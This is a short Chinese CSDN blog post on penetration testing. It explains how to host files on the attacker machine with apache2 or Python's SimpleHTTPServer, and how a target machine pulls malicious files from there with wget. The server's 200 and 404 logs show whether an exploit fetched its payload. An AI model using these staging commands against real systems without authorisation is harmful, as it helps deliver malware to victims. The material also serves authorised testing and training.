渗透测试文件传输:python -m SimpleHTTPServer 80及设置下 code 404, message File not found问题解决

在渗透测试过程中,文件传输是常见需求。使用Python的SimpleHTTPServer模块能快速创建HTTP服务进行文件传输。通过启动服务并观察返回的HTTP状态码(200表示成功,404表示文件未找到),可以排查文件是否被正确调用。需要注意的是,服务启动的目录会影响文件查找路径,不同终端目录可能造成找不到文件的问题,需确保文件放置在正确目录。
摘要由CSDN通过智能技术生成

我们做渗透时
有很多情形需要从本机传输文件到靶机,或者在某处需要调动本机的恶意文件

可以本机开启apache2,

systemctl start apache2

这样你本机里/var/www/html路径下存放的文件,就可以通过http调用了。
形式就是你的ip + 文件。 比如你的ip是10.10.10.10. 文件是xxx
就在靶机里输 wget http://10.10.10.10/xxx 就可以下载这个文件了到靶机了

但是也有很多情况的漏洞利用较复杂。
有些漏洞的脚本利用可能是先调用文件,再执行。等
但是我们没有收到shell
排查问题,到底是调用本机文件就出问题了,还是后面的执行环节出问题了

systemctl start apache2这个还不够


python搭建的简易http服务很方便。本机打开

python -m SimpleHTTPServer 80

同样的功效,
还能看是否调用
成功的是200
失败的是404
如果没有任何显示,那就是根本在调用环节就出了问题,没有来你本机找文件。还要继续排查是哪个命令弄错了。
在这里插入图片描述

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值